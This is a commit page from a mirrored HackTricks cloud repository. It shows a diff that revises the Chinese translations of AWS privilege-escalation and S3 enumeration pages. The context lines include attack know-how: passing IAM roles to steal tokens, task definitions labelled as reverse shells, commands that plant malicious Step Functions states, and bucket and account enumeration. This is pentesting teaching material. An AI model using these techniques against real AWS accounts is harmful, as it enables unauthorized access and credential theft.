gitea-mirror/hacktricks-cloud
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks-cloud.git synced 2026-02-05 03:16:37 -08:00
Code Issues Packages Projects Releases Wiki Activity

Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/

Browse Source
This commit is contained in:
Translator
2025-05-01 11:40:06 +00:00
parent 6fed60d6b2
commit 4b0e2d4593
5 changed files with 24 additions and 24 deletions
Download Patch File Download Diff File Expand all files Collapse all files

10
src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md
View File

@@ -182,9 +182,9 @@ Wait a few seconds to maybe a couple minutes and view the POST request with data
> 此外，它还包含 **环境变量 `ECS_CONTAINER_METADATA_URI`**，其中包含获取 **容器元数据** 的完整 URL。
### `iam:PassRole`, `codebuild:UpdateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`)
### `iam:PassRole`，`codebuild:UpdateProject`，(`codebuild:StartBuild` | `codebuild:StartBuildBatch`)
就像在前一节中一样，如果您可以修改构建项目而不是创建它，您可以指示 IAM 角色并窃取令牌。
就像在上一节中一样，如果您可以修改而不是创建构建项目，您可以指示 IAM 角色并窃取令牌。
```bash
REV_PATH="/tmp/codebuild_pwn.json"
@@ -222,7 +222,7 @@ aws codebuild start-build --project-name codebuild-demo-project
### `codebuild:UpdateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`)
与前一部分相似，但**没有 `iam:PassRole` 权限**，您可以利用此权限**修改现有的 Codebuild 项目并访问它们已经分配的角色**。
与前一节相似，但**没有 `iam:PassRole` 权限**，您可以利用此权限**修改现有的 Codebuild 项目并访问它们已经分配的角色**。
{{#tabs }}
{{#tab name="StartBuild" }}
@@ -323,9 +323,9 @@ aws ssm start-session --target <sessionTarget> --region <region>
### (`codebuild:StartBuild` | `codebuild:StartBuildBatch`), `s3:GetObject`, `s3:PutObject`
能够启动/重启特定 CodeBuild 项目的构建的攻击者，如果该项目将其 `buildspec.yml` 文件存储在攻击者具有写入权限的 S3 存储桶中，则可以在 CodeBuild 过程中获得命令执行。
能够启动/重启特定 CodeBuild 项目的构建的攻击者，如果该项目将其 `buildspec.yml` 文件存储在攻击者具有写入权限的 S3 存储桶中，则可以在 CodeBuild 过程中获得命令执行权限。
注意：只有当 CodeBuild 工作人员的角色与攻击者的角色不同时（希望是更高权限的角色），此提升才相关。
注意：只有当 CodeBuild 工作人员的角色与攻击者的角色不同时（希望是更高权限的角色），此提升权限才相关。
```bash
aws s3 cp s3://<build-configuration-files-bucket>/buildspec.yml ./

6
src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md
View File

@@ -12,7 +12,7 @@
### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:RunTask`
攻击者利用 ECS 中的 `iam:PassRole`、`ecs:RegisterTaskDefinition` 和 `ecs:RunTask` 权限可以 **生成一个新的任务定义**，其中包含一个 **恶意容器**，该容器窃取元数据凭证并 **运行它**。
攻击者利用 `iam:PassRole`、`ecs:RegisterTaskDefinition` 和 `ecs:RunTask` 权限在 ECS 中可以 **生成一个新的任务定义**，其中包含一个 **恶意容器**，该容器窃取元数据凭证并 **运行它**。
{{#tabs }}
{{#tab name="Reverse Shell" }}
@@ -100,7 +100,7 @@ aws ecs deregister-task-definition --task-definition iam_exfiltration:1
### `iam:PassRole`, `ecs:RegisterTaskDefinition`, (`ecs:UpdateService|ecs:CreateService)`
就像在之前的例子中，攻击者滥用 **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:UpdateService`** 或 **`ecs:CreateService`** 权限可以 **生成一个新的任务定义**，其中包含一个 **恶意容器**，该容器窃取元数据凭证并 **通过创建一个至少运行 1 个任务的新服务来运行它。**
就像在前面的例子中，攻击者滥用 **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:UpdateService`** 或 **`ecs:CreateService`** 权限可以 **生成一个新的任务定义**，其中包含一个 **恶意容器**，该容器窃取元数据凭证并 **通过创建一个至少运行 1 个任务的新服务来运行它。**
```bash
# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
@@ -244,7 +244,7 @@ TODO: 是否可以从不同的 AWS 账户注册一个实例，以便任务在攻
> [!NOTE]
> TODO: 测试这个
拥有权限 `ecs:CreateTaskSet`、`ecs:UpdateServicePrimaryTaskSet` 和 `ecs:DescribeTaskSets` 的攻击者可以 **为现有的 ECS 服务创建恶意任务集并更新主任务集**。这允许攻击者 **在服务内执行任意代码**。
拥有权限 `ecs:CreateTaskSet`、`ecs:UpdateServicePrimaryTaskSet` 和 `ecs:DescribeTaskSets` 的攻击者可以 **为现有的 ECS 服务创建一个恶意任务集并更新主任务集**。这允许攻击者 **在服务内执行任意代码**。
```bash
bashCopy code# Register a task definition with a reverse shell
echo '{

4
src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc.md
View File

@@ -24,11 +24,11 @@ aws sns publish --topic-arn <value> --message <value>
```bash
aws sns subscribe --topic-arn <value> --protocol <value> --endpoint <value>
```
**潜在影响**：对消息（敏感信息）的未经授权访问，依赖于受影响主题的应用程序服务中断。
**潜在影响**：未经授权访问消息（敏感信息），依赖受影响主题的应用程序服务中断。
### `sns:AddPermission`
攻击者可能会授予未经授权的用户或服务对SNS主题的访问权限，从而可能获得进一步的权限。
攻击者可能会授予未经授权的用户或服务访问SNS主题的权限，从而可能获得进一步的权限。
```css
aws sns add-permission --topic-arn <value> --label <value> --aws-account-id <value> --action-name <value>
```

16
src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc.md
View File

@@ -12,7 +12,7 @@
### Task Resources
这些权限提升技术将需要使用一些 AWS 步骤函数资源，以执行所需的权限提升操作。
这些权限提升技术将需要使用一些 AWS Step Function 资源，以执行所需的权限提升操作。
为了检查所有可能的操作，您可以登录自己的 AWS 账户，选择您想要使用的操作，并查看它所使用的参数，如下所示：
@@ -25,7 +25,7 @@
### `states:TestState` & `iam:PassRole`
拥有 **`states:TestState`** 和 **`iam:PassRole`** 权限的攻击者可以测试任何状态并将任何 IAM 角色传递给它，而无需创建或更新现有的状态机，这可能会使其他 AWS 服务的角色权限获得未经授权的访问。结合这些权限，可能导致广泛的未经授权的操作，从操纵工作流以更改数据到数据泄露、资源操纵和权限提升。
具有 **`states:TestState`** 和 **`iam:PassRole`** 权限的攻击者可以测试任何状态并将任何 IAM 角色传递给它，而无需创建或更新现有状态机，这可能会使其他 AWS 服务的角色权限获得未经授权的访问。结合这些权限，可能导致广泛的未经授权的操作，从操纵工作流以更改数据到数据泄露、资源操纵和权限提升。
```bash
aws states test-state --definition <value> --role-arn <value> [--input <value>] [--inspection-level <value>] [--reveal-secrets | --no-reveal-secrets]
```
@@ -63,7 +63,7 @@ aws stepfunctions test-state --definition file://stateDefinition.json --role-arn
### `states:CreateStateMachine` & `iam:PassRole` & (`states:StartExecution` | `states:StartSyncExecution`)
拥有 **`states:CreateStateMachine`** 和 **`iam:PassRole`** 的攻击者将能够创建状态机并为其提供任何 IAM 角色，从而使其能够未经授权地访问其他 AWS 服务的角色权限。与之前的特权提升技术 (**`states:TestState`** 和 **`iam:PassRole`**) 相比，这种方法本身并不执行，您还需要拥有 **`states:StartExecution`** 或 **`states:StartSyncExecution`** 权限 (**`states:StartSyncExecution`** 对于标准工作流 **不可用**，**仅适用于表达状态机**) 以便启动状态机的执行。
拥有 **`states:CreateStateMachine`** 和 **`iam:PassRole`** 的攻击者将能够创建一个状态机并为其提供任何 IAM 角色，从而使其能够未经授权地访问其他 AWS 服务的角色权限。与之前的特权提升技术 (**`states:TestState`** 和 **`iam:PassRole`**) 相比，这种方法本身并不执行，您还需要拥有 **`states:StartExecution`** 或 **`states:StartSyncExecution`** 权限 (**`states:StartSyncExecution`** 对于标准工作流 **不可用**，**仅适用于表达状态机**) 以便启动状态机的执行。
```bash
# Create a state machine
aws states create-state-machine --name <value> --definition <value> --role-arn <value> [--type <STANDARD | EXPRESS>] [--logging-configuration <value>]\
@@ -134,16 +134,16 @@ aws stepfunctions start-execution --state-machine-arn arn:aws:states:us-east-1:1
> [!WARNING]
> 攻击者控制的 S3 存储桶应具有接受来自受害者账户的 s3:PutObject 操作的权限。
**潜在影响**：未经授权的工作流执行和操控以及对敏感资源的访问，可能导致重大的安全漏洞。
**潜在影响**：未经授权的工作流执行和操作以及对敏感资源的访问，可能导致重大安全漏洞。
### `states:UpdateStateMachine` 和 (不总是需要) `iam:PassRole`
### `states:UpdateStateMachine` 和（不总是需要的）`iam:PassRole`
拥有 **`states:UpdateStateMachine`** 权限的攻击者将能够修改状态机的定义，能够添加额外的隐蔽状态，这可能导致特权提升。这样，当合法用户开始执行状态机时，这个新的恶意隐蔽状态将被执行，特权提升将成功。
拥有 **`states:UpdateStateMachine`** 权限的攻击者将能够修改状态机的定义，能够添加额外的隐蔽状态，这可能导致特权提升。这样，当合法用户启动状态机的执行时，这个新的恶意隐蔽状态将被执行，特权提升将成功。
根据与状态机关联的 IAM 角色的权限宽松程度，攻击者将面临两种情况：
1. **宽松的 IAM 角色**：如果与状态机关联的 IAM 角色已经很宽松（例如，附加了 **`arn:aws:iam::aws:policy/AdministratorAccess`** 策略），那么不需要 **`iam:PassRole`** 权限来提升特权，因为不需要更新 IAM 角色，仅状态机定义就足够了。
2. **不宽松的 IAM 角色**：与前一种情况相反，在这里攻击者还需要 **`iam:PassRole`** 权限，因为除了修改状态机定义外，还需要将一个宽松的 IAM 角色与状态机关联。
2. **不宽松的 IAM 角色**：与前一种情况相反，在这里攻击者还需要 **`iam:PassRole`** 权限，因为需要将一个宽松的 IAM 角色与状态机关联，此外还需要修改状态机定义。
```bash
aws states update-state-machine --state-machine-arn <value> [--definition <value>] [--role-arn <value>] [--logging-configuration <value>] \
[--tracing-configuration <enabled=true|false>] [--publish | --no-publish] [--version-description <value>]
@@ -151,7 +151,7 @@ aws states update-state-machine --state-machine-arn <value> [--definition <value
以下示例展示了如何更新一个合法的状态机，该状态机仅调用一个 HelloWorld Lambda 函数，以添加一个额外的状态，将用户 **`unprivilegedUser`** 添加到 **`administrator`** IAM 组。这样，当合法用户启动更新后的状态机的执行时，这个新的恶意隐蔽状态将被执行，特权提升将成功。
> [!WARNING]
> 如果状态机没有关联一个宽松的 IAM 角色，还需要 **`iam:PassRole`** 权限来更新 IAM 角色，以便关联一个宽松的 IAM 角色（例如，附加了 **`arn:aws:iam::aws:policy/AdministratorAccess`** 策略的角色）。
> 如果状态机没有关联一个宽松的 IAM 角色，则还需要 **`iam:PassRole`** 权限来更新 IAM 角色，以便关联一个宽松的 IAM 角色（例如，附加了 **`arn:aws:iam::aws:policy/AdministratorAccess`** 策略的角色）。
{{#tabs }}
{{#tab name="Legit State Machine" }}

12
src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum.md
View File

@@ -76,7 +76,7 @@ cat /tmp/final-words-s3.txt.temp2 /tmp/final-words-s3.txt.temp3 /tmp/final-words
s3scanner --threads 100 scan --buckets-file /tmp/final-words-s3.txt | grep bucket_exists
</code></pre>
#### 获取 S3 桶的战利品
#### 获取 S3 桶
给定 S3 开放桶，[**BucketLoot**](https://github.com/redhuntlabs/BucketLoot) 可以自动**搜索有趣的信息**。
@@ -86,7 +86,7 @@ s3scanner --threads 100 scan --buckets-file /tmp/final-words-s3.txt | grep buck
#### 通过 DNS
你可以通过**`dig`** 和 **`nslookup`** 通过对发现的 IP 进行**DNS 请求**来获取桶的区域：
你可以通过**`dig`**和**`nslookup`**获取桶的区域，方法是对发现的 IP 进行**DNS 请求**：
```bash
dig flaws.cloud
;; ANSWER SECTION:
@@ -110,7 +110,7 @@ Non-authoritative answer:
### 枚举存储桶
要测试存储桶的开放性，用户只需在其网络浏览器中输入URL。私有存储桶将响应“访问被拒绝”。公共存储桶将列出前1,000个已存储的对象。
要测试存储桶的开放性，用户只需在其网页浏览器中输入URL。私有存储桶将响应“访问被拒绝”。公共存储桶将列出前1,000个已存储的对象。
对所有人开放：
@@ -136,10 +136,10 @@ https://{user_provided}.s3.amazonaws.com
```
### 从公共桶获取账户ID
可以通过利用新的 **`S3:ResourceAccount`** **策略条件键** 来确定AWS账户。此条件 **基于账户所在的S3桶限制访问**（其他基于账户的策略则基于请求主体所在的账户）。\
可以通过利用新的 **`S3:ResourceAccount`** **策略条件键** 来确定一个AWS账户。这个条件 **基于S3桶** 限制访问（其他基于账户的策略则基于请求主体所在的账户）。\
由于策略可以包含 **通配符**，因此可以 **一次找到一个数字** 来查找账户号码。
此工具自动化了该过程：
这个工具自动化了这个过程：
```bash
# Installation
pipx install s3-account-search
@@ -165,7 +165,7 @@ curl -X GET "[bucketname].amazonaws.com/" \
### 使用电子邮件作为根账户枚举
正如在[**这篇博客文章**](https://blog.plerion.com/things-you-wish-you-didnt-need-to-know-about-s3/)中所解释的，可以通过**尝试授予电子邮件对 S3 存储桶的权限**来检查某个电子邮件地址是否与任何 AWS 账户相关。如果这没有触发错误，这意味着该电子邮件是某个 AWS 账户的根用户：
正如在[**这篇博客文章**](https://blog.plerion.com/things-you-wish-you-didnt-need-to-know-about-s3/)中所解释的，可以通过**尝试通过 ACLs 授予电子邮件对 S3 存储桶的权限**来检查某个电子邮件地址是否与任何 AWS 账户相关。如果这没有触发错误，这意味着该电子邮件是某个 AWS 账户的根用户：
```python
s3_client.put_bucket_acl(
Bucket=bucket_name,